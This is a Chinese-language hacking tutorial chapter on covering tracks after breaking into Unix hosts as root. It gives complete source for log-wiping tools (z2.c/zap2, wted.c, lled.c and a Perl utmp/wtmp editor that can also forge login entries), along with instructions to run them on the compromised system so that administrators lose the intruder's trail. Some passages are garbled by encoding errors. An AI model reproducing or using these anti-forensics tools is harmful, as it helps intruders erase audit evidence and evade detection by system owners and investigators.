|
目录: Zap2 程序 其它脚本程序
隐藏自己的关键是你要不断的学习了解新的系统知识。如果你做了很苯的事情,比如有一次忘了清除你的utmp、wtmp日志或传送记录等等,你可能就会丧失再次访问这个系统的机会。你自己应该制定一个计划去学习每个操作系统! 尽可能的去熟悉系统,如果你同时学习几个系统,你应该做好笔记。记住你应该养成一个习惯,你是否养成清除你登录、传送文档的记录的习惯?千万不要忘记清除记录否则你可能会丧失对系统的访问权并面对一系列的指控。 --------------------------------------------------------------------------------
Zap2 (清除 wtmp/lastlog/utmp记录)
网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2 在你获得root的访问权后立即运行z2这个程序。现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾tmp记录了。如果你要使用 ftp或其它的一些命令你可能就会用到我在本章中提供的另外两个程序 wted 和 lled。 我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些文件的正确路径。 下面是在文件头部的需要你修改的部分。 #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" 在有些系统中应该是: #define WTMP_NAME "/var/adm/wtmp" #define UTMP_NAME "/var/adm/utmp" #define LASTLOG_NAME "/var/adm/lastlog"
但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。 这里是c程序: z2.c --------------------------- cut here #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who) char *who; { struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } }
void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos;
pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } }
void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); }
} else printf("%s: ?\n",who); }
main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------- cut here
--------------------------------------------------------------------------------
其它脚本程序
我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个文件(记住,象第一章所说的,不要ftp或telent出这个入侵的主机)。好了,你ftp进入系统抓取几个文件,或登录到系统的其它帐户中,那现在你就要用到wted程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。你也可能要用到lled (编糽astlog日志). 你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。 [8:25pm][/home/compile]wted Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help 帮助 -f Use FILE instead of default 所使用的非默认文件 -a Show all entries found 显示所有的记录 -u Show all entries for USER 显示USER的所有记录 -b Show NULL entries 显示空记录 -e Erase USER completely 完全清除某用户的记录 -c Erase all connections containing HOST 清除从某主机来的所有记录 -z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ????? -x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ????? 如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith 这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你登录的记录后,记着chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并覆盖岳吹奈募O笳庋? 1. chmod 644 wtmp.tmp 2. cp wtmp.tmp /var/adm/wtmp 下面是wted程序: 重要:记着将char里面文件改成正确的路径。 wted.c ---------------------- cut here #include <stdio.h> #include <utmp.h> #include <time.h> #include <fcntl.h> char *file="/var/adm/wtmp"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1],0); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct utmp utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ut_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct utmp *ptr; { char tmpstr[256]; printf("%s\t",ptr->ut_name); printf("%s\t",ptr->ut_line); strcpy(tmpstr,ctime(&(ptr->ut_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ut_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (host) if (strstr(utmp.ut_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct utmp));} if (name) { if (strcmp(utmp.ut_name,name)) {cnt++; write(fd,&utmp,sizeof(struct utmp));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct utmp));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct utmp)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct utmp)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (utmp.ut_time) { cnt++; write(fd,&utmp,sizeof(struct utmp)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } usage() { printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------- cut here 你可能还需要清除/vat/adm/lastlog日志。 这要用到lled.c程序。编译这个文件并命名为lled. 你运行lled程序将会出现下面的菜单: [4:04am][/home/paris/compile]lled Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help °??ú -f Use FILE instead of default ê1ó????¨μ????t′úì?è±ê?μ? -a Show all entries found ??ê?è?2????? -u Show all entries for USER ??ê????¨ó??§μ?è?2????? -b Show NULL entries ??ê??????? -e Erase USER completely è?2?é?3y???¨ó??§μ????? -c Erase all connections containing HOST é?3y°üo????¨?÷?úμ?è?2????? -z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ????? -x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ????? 你可以先用-u来看一下,很多时候你的用户名并没有记录下来,但会记录下你的主机,一般你可以这样使用:(假设我进入系统时使用的主机名为machine.edit.com) lled -e username -c machine.edit 如果你要查看你的主机是否记录在lastlog日志的结尾,你应输入:lled -a 使用chmod将 lastlog.tmp文件属性改为 644并象你使用上面的wted程序一样将其拷贝到日志文件的目录中并覆盖岳吹奈募? 重要:将lastlog路径设置为你入侵的主机中的正确路径。 下面是lled.c: -------------------------- cut here #include <stdio.h> #include <time.h> #include <lastlog.h> #include <fcntl.h> char *file="/var/adm/lastlog"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1]); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct lastlog utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ll_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct lastlog *ptr; { char tmpstr[256]; printf("%s\t",ptr->ll_line); strcpy(tmpstr,ctime(&(ptr->ll_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ll_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (host) if (strstr(utmp.ll_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} if (name) { if (strcmp(utmp.ll_line,name)) {cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (utmp.ll_time) { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } usage() { printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------------------------------------------------- cut here 下面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还允许你在wtmp日志中加入一行。如果你想搞,你可以加入clinton(克林顿).whitehouse(白宫).gov logging into port ttyp3 并显示他在系统中停留了几个小时! 使用检查功能,你可以知道是否有什么人登录到系统中而在utmp日志中又没有记录。系统管理员有时登录后喜欢把自己隐藏起来,这个程序可以看到他们是否在线。你必须有root的权限来执行这个程序,这个程序还需要5.003以上的版本才能运行。启动这个脚本程序后输入help。 下面是一些基本命令: starts by loading wtmp delete user username delete host hostanme write read wtmp delete user username delete host hostname write 使用help来查看其它的命令......这是最好的wtmp,wtmp编计鳎? 说声谢谢吧 ;) -----------------------start of utmpman.pl #!/usr/bin/perl -w # # Variable defines. my($utmp_location) = "/var/run/utmp"; my($wtmp_location) = "/var/log/wtmp"; my($shells_location) = "/etc/shells"; my($ttybase) = "tty"; my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems. my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems. # Global initializations. my($active_file) = ""; my(%entries) = {}; my(@cmdline) = (); my(@shells) = (); # Display banner. print "\nutmp Manager v0.8\n\n"; # Access check. die("utmpman :: You must be root to run this application!\n") unless ($> == 0); # Read in valid shells. if (defined($shells_location)) { open(SHELLFILE, "<$shells_location"); @shells = <SHELLFILE>; close(SHELLFILE); } # Process "basename" of each shell. @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);
print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells)); readfile("$utmp_location"); print("\nutmpman: $active_file> "); while (<STDIN>) { process_cmd(split); print("\nutmpman: $active_file> "); } sub process_cmd { return if (!defined(@_)); my(@line) = map { lc($_) } @_;
$_ = shift(@line); SWITCH: { /^check$/ && do { check_func(@line); last SWITCH; }; /^delete$/ && do { del_func(@line); last SWITCH; };
/^help$/ && do { help_func(); last SWITCH; };
/^insert$/ && do { ins_func(@line); last SWITCH; };
/^list$/ && do { list_func(@line); last SWITCH; }; /^read$/ && do { read_func(@line); last SWITCH; };
/^write$/ && do { write_func(@line); last SWITCH; };
/^quit|exit$/ && exit(0);
# DEFAULT. print ("Invalid command.\n"); } }
# HELP sub help_func { print << "EOM"; utmpManager Help ---------------- Note: - <n> is an argument. - [id=] is a token which expects a value as part of command (ie, insert id=p5 user=root 11/23/96). See the insert command. - A line is the full name to the tty port, ie ttyp0. - An id is the *unique* representation of the port (without the tty, etc), ie "p0" (for ttyp0). check - Perform user consistancy check. Use this to make sure that the data in utmp agrees with who is actually on the machine. This is useful in determining if a user is online with hidden ports, running nohup'd processes, or running iScreen. delete <x>-<y> - Delete entries #x to #y. delete host <host> - Delete *all* entries which match the substring <host>. delete line|id <line|id> - Delete entry containing <line> or <id>. insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime} - Insert an entry into utmp/wtmp files specifying any combination of id/line, type, username, host, connection time, and logoff time. (LogoffTime only valid for WTMP files.) list host <host> - List all entries matching the substring <host>. list line|id <line|id> - List all entries matching <line> or <id>. read utmp|wtmp|<filename> - Read entries from either default wtmp, default utmp, or an arbitrary filename. Note: arbitrary filenames MUST start with either "utmp" or "wtmp" to be used with this editor. Rename files *outside* of this editor if necessary. If read is executed without any arguments, it rereads the last given filename, which is displayed on the prompt. write {filename} - Write entries to file {filename}. If write is executed without any arguments, then entries will be written to the last given filename, which is displayed on the prompt. EOM } # DELETE sub del_func { my(@params) = @_; if (!push(@_)) { print("delete :: Not enough parameters. See \"help\" for syntax.\n"); return undef; } elsif ($params[0] =~ /host|user|id|line/) { del_by_data(@_); } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { del_by_range($params[0]); } elsif ($params[0] =~ m/^(\d+)$/) { del_by_range("$1-$1"); }
# Renumber list after delete operation. resync(); }
sub del_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi, $count)=($1, $2, 0);
$lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { delete($entries{$_}); $count++; } } print "$count entries deleted.\n"; }
sub del_by_data { my($op, $data) = @_; my($count) = 0; if ((length($data) < 5) && ($op eq "host")) { print "Must specify at least 5 characters for delete hostmask.\n"; return undef; } elsif (((length($data) > 4) && ($op eq "id"))|| ((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n"; return undef; } # Note: If we are deleting by user, then user must match, *exactly*! $data = "^" . pack("a8", $data) . "\$" if ($op eq "user"); foreach (sort( { $a <=> $b } keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { delete($entries{$_}); ++$count; } } if (!$count) { print "No $op entries matching $data.\n"; } else { print "$count entries deleted.\n"; } }
# INSERT # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]] # Date2 Time2 = DateTime2 => (see above) # user=<username> # host=<hostname> # id=<id> | line=<line> # # utmp: # insert {id=|line=} [type=] [user=] [host=] [DateTime] # wtmp: # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2} sub ins_func { my(%cmdopt)={}; my($datetime1, $datetime2, $gmdate, $gmdate2); # Get random pid out of the way. $cmdopt{"pid"} = int(rand(32656)+100); $cmdopt{"addr"} = pack("a4", ""); # Get command options. foreach (@_) { if (/=/) { local($key, $value)=split(/=/); $cmdopt{$key} = $value; } else { if (!defined($datetime1)) { $datetime1 = $_; next; } if (!defined($datetime2)) { $datetime2 = $_ ; next; } print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } } # Check for an illegal pair or illegal option. foreach (keys(%cmdopt)) { if (!(/^host|id|line|type|user|addr$/)) { print "insert :: Invalid options specified. Please see \"help\" for syntax.\n"; return undef; } if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) { print "insert :: LAST option only valid for utmp files.\n"; return undef; } } # Get date in seconds since 1970. $gmdate = SecsSince1970($datetime1); # Get ending date in seconds since 1970. $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2)); if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) { print "insert :: Invalid date specified.\n"; return undef; } if (defined($gmdate2)) { if ($gmdate2 < $gmdate) { print "insert :: First date/time must be *later* than second date/time.\n"; return undef; } } if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) { print "insert :: Insert by LINE or ID only. Please do not specify both.\n"; return undef; } my($op); if (!defined($cmdopt{"id"})) { $cmdopt{"id"} = $cmdopt{"line"}; $op = "line"; if (!($cmdopt{"id"} =~ s/^$ttybase//)) { print "insert :: Invalid line specified.\n"; return undef; } } else { $cmdopt{"line"} = $ttybase . $cmdopt{"id"}; $op = "id"; } if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) { print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n"; return undef; }
my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ? (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op}; my($epos1, $npos1, $epos2, $npos2) = (); my($oldpos, $count)=("", 0); foreach (sort( { $a <=> $b } keys(%entries))) { if ($active_file =~ m!/*utmp[^/]*$!i) { # Handle utmp insertion by line insertion. if (%{$entries{$_}}->{$op} eq $searchdata) { printf ("insert :: $op $searchdata already exists at position $_\n"); # This needs to check every option in %cmdopt for defined or null. $count = 0; foreach (qw(user host time)) { if (defined($cmdopt{$_})) { $count++ if ($cmdopt{$_} ne ""); } } if (!$count) { printf ("insert :: No other data specified. Entry unchanged.\n"); return undef; } last; } } else { # Handle wtmp insertion by time position. (Messy) $epos1 = $oldpos if (defined($npos1) && !defined($epos1)); $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate); last if (!defined($gmdate2) && defined($epos1)); $epos2 = $oldpos if (defined($npos2)); $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2); last if (defined($epos2)); } $oldpos = $_; } # Set any unspecified defaults. $cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"}); $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"}); $cmdopt{"type"} = 7 if !defined($cmdopt{"type"}); # Determine end of list insertion positions. (IE, dates entered are after # dates in wtmp file or line/id not found in utmp file. $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1)); if (defined($datetime2)) { $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2)); ++$epos2 if (defined($gmtime2) && !defined($npos1)); } # Parse insert data and insert entry. $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1)); $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2) if (defined($npos2) && defined($gmdate2)); # Insert first entry. $cmdopt{"time"} = $gmdate; @{$entries{$epos1}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; if (defined($epos2)) { $cmdopt{"user"} = pack("a8", ""); $cmdopt{"host"} = pack("a16",""); $cmdopt{"id"} = pack("a4", ""); $cmdopt{"time"} = $gmdate2;
@{$entries{$epos2}}{qw(type pid line id time user host addr)} = @{%cmdopt}{qw(type pid line id time user host addr)}; } resync(); }
# LIST sub list_func { my(@params) = @_; if (!push(@_) || ($params[0] eq "all")) { list_by_range("-"); return 0; } elsif ($params[0] =~ /^host|user|id|line$/) { list_by_data(@_); return 0; } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { list_by_range($params[0]); return 0; } elsif ($params[0] =~ m/^(\d+)$/) { list_by_range("$1-$1"); return 0; }
print ("list :: Error in parameters. See \"help\" for syntax.\n"); return undef; }
sub list_by_data { my($op, $data) = @_; my($count) = 0; foreach (sort( {$a <=> $b} keys(%entries))) { if (%{$entries{$_}}->{$op} =~ m/$data/i) { list_entry($_); ++$count; } } print "No $op entries matching $data.\n" if (!$count); }
sub list_by_range { my($range)=shift; $range =~ m/(\d+)*-(\d+)*/; my($lo, $hi)=($1, $2);
$lo = 0 if (!defined($lo)); $hi = scalar(keys(%entries)) if (!defined($hi));
foreach (sort( { $a <=> $b } keys(%entries))) { if (($_ >= $lo) && ($_ <= $hi)) { list_entry($_); } } }
sub list_entry { printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_); printf(" %s/%s", @{$entries{$_}}{qw(id line)}); printf(": %s ", %{$entries{$_}}->{"user"}) if (%{$entries{$_}}->{"user"} ne pack("a8", "")); printf("from %s", %{$entries{$_}}->{"host"}) if (%{$entries{$_}}->{"host"} ne pack("a16", "")); if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") { printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"})); } print ("\n"); printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8",""))); } # <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)}; # <Silmaril> now *that's* cool :-) # <Silmaril> should be like this: @{$v}{qw(time id line user host)} # <Silmaril> I had an extra -> in my first version. # # Or course, it's changed since then, but - "Thanks, Sil!" :) #
# READ
sub read_func { my($arg)=shift;
$arg = $utmp_location if ($arg eq "utmp"); $arg = $wtmp_location if ($arg eq "wtmp"); $arg = $active_file if (!defined($arg));
if ($arg !~ m!/*[uw]tmp[^/]*$!) { print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n"); return undef; }
readfile($arg); }
# WRITE sub write_func { my($file)=shift; my($count)=0;
$file = $active_file if (!defined($file)); if ($file !~ m!/*[uw]tmp[^/]*$!) { print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n"); return undef; } if (!open(OUTFILE, ">$file")) { print ("write :: Can't open $file for output.\n"); return undef; } binmode(OUTFILE);
foreach (sort( { $a <=> $b } keys(%entries))) { printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", @{$entries{$_}}{qw(type pid line id time user host addr)})); $count++; } print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n"); close(OUTFILE); }
# CHECK sub check_func { if (push(@_)) { print "check :: Invalid options specified. Please see \"help\"\n"; return undef; } if ($active_file !~ m!/*utmp[^/]*$!) { print "check :: Command can only be run on utmp files.\n"; return undef; }
# Build struct of ports containing port name, device num and owner. # Note: Test run in grepstr may *not* be portable for all Unix # types. Be forewarned! This was designed for Linux. # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/ # should return the same as what you expect in "struct utmp->ut_id". my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$"; my(%ports) = {}; my($user, $rdev) = (); opendir(DEVDIR, "/dev"); my(@devfiles) = readdir(DEVDIR); @devfiles = grep(/$grepstr/, @devfiles); close(DEVDIR); foreach (@devfiles) { /^$ttybase([$ttyrange][$ttyports])$/; if (!defined($1)) { print "check :: Warning! Could not extract port ID from $_.\n"; } else { ($user, $rdev) = (stat("/dev/$_"))[4, 6]; $user = getpwuid($user); $ports{$1} = newport($_, $rdev, $user); } }
# Check ownership of /dev ports. my(@logdev)=(); foreach (sort(keys(%ports))) { push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root"); } @logdev = sort(@logdev);
# Check utmp (against ports detected as logged in); my(@logutmp)=(); foreach (sort( { $a <=> $b } keys(%entries))) { if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) && defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) { push(@logutmp, %{$entries{$_}}->{"id"}) if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) && ((%{$entries{$_}}->{"user"} ne pack("a8", "")) || ((%{$entries{$_}}->{"host"} ne pack("a16", "")) && (%{$entries{$_}}->{"id"} ne pack("a4", "")) && (%{$entries{$_}}->{"line"} ne pack("a12", "")) && (%{$entries{$_}}->{"pid"} > 0)))); } } @logutmp = sort(@logutmp); # Check PIDs (find processes with active port ids) opendir(PIDDIR, "/proc"); my(%processes) = {}; my(@portprocesses) = (); foreach (grep(/\d+/, readdir(PIDDIR))) { local($procdata, $cmdline); open(PROCFILE, "</proc/$_/stat"); $procdata = <PROCFILE>; close(PROCFILE); if (-e "/proc/$_/stat") { local($cmdline, $devnum, $portid); ($cmd, $devnum) = (split(/ /, $procdata))[1, 6]; # Remove surrouding () from command name. $cmd =~ s/[\(\)]//g; $portid = dev2id(\%ports, $devnum); if (defined($portid)) { push(@portprocesses, $portid) if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_)); $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_)); } } } close(PIDDIR); # A port is *not* logged in if there is no dev entry for port, no utmp entry # and no active processes. my(@validshellports) = (); foreach (sort( { $a <=> $b} keys(%processes))) { push(@validshellports, %{$processes{$_}}->{"port"}) if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&& !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"}))); } # Remove ports with valid shells from list of ports with active processes. my(@noshellports) = sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses)); @validshellports = sort(@validshellports); print "Ports with active /dev files: @logdev\n" if (defined(@logdev)); print "Ports with utmp entries: @logutmp\n" if (defined(@logutmp)); print "Ports with valid shells: @validshellports\n" if (defined(@validshellports)); print "Ports with active processes and *no* shells: @noshellports\n" if (defined(@noshellports)); }
# GENERAL sub readfile { local($file); $file = shift; my($index)=1; my($buffer)=""; # Insure we have a clean hash table before we start reading in the file. foreach (keys(%entries)) { undef(%{$entries{$_}}); delete(${entries{$_}}); }
open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n"); binmode(UTMPFILE); # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P). while (read(UTMPFILE, $buffer, 56)) { $entries{$index++} = newutmp($buffer); } $active_file = $file; print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n"); close(UTMPFILE); }
sub newutmp { my($newbuff) = shift; my($longaddr) = 0;
$newnode = bless { "type" => undef, "pid" => undef, "line" => undef, "id" => undef, "time" => undef, "user" => undef, "host" => undef, "addr" => undef }, 'UTMPNODE';
@{$newnode}{qw(type pid line id time user host addr)}= unpack("i L a12 a4 L a8 a16 a4", $newbuff);
return $newnode; }
sub newport {
$newnode = bless { "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef, }, 'PORTNODE';
@{$newnode}{qw(port rdev owner)} = @_;
return $newnode; }
sub newproc {
$newnode = bless { "cmd" => undef, "port" => undef, }, 'PROCNODE';
@{$newnode}{qw(cmd port)} = @_;
return $newnode; }
# Renumber hashes to default order. sub resync { my(%newhash) = (); my($count)=0; # Write ordered list in to temporary hash, deleting as we go. foreach (sort( {$a <=> $b} keys(%entries))) { $newhash{++$count} = $entries{$_}; delete($entries{$_}); } # Copy elements back in to original hash table. foreach (sort( {$a <=> $b} keys(%newhash))) { $entries{$_} = $newhash{$_}; } }
sub longtodot4 { my($addr)=shift; return join(".", map( ord($_), split(//, $addr))); } sub dev2id { my($portlist, $rdev) = @_; foreach (sort(keys(%{$portlist}))) { return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev); } return undef; }
sub listpos { my($arrayref, $search) = @_; my($count) = 0; $^W = 0; foreach (@{$arrayref}) { return $count if ($search eq ${$arrayref}[$count]); $count++; } $^W = 1; return undef; }
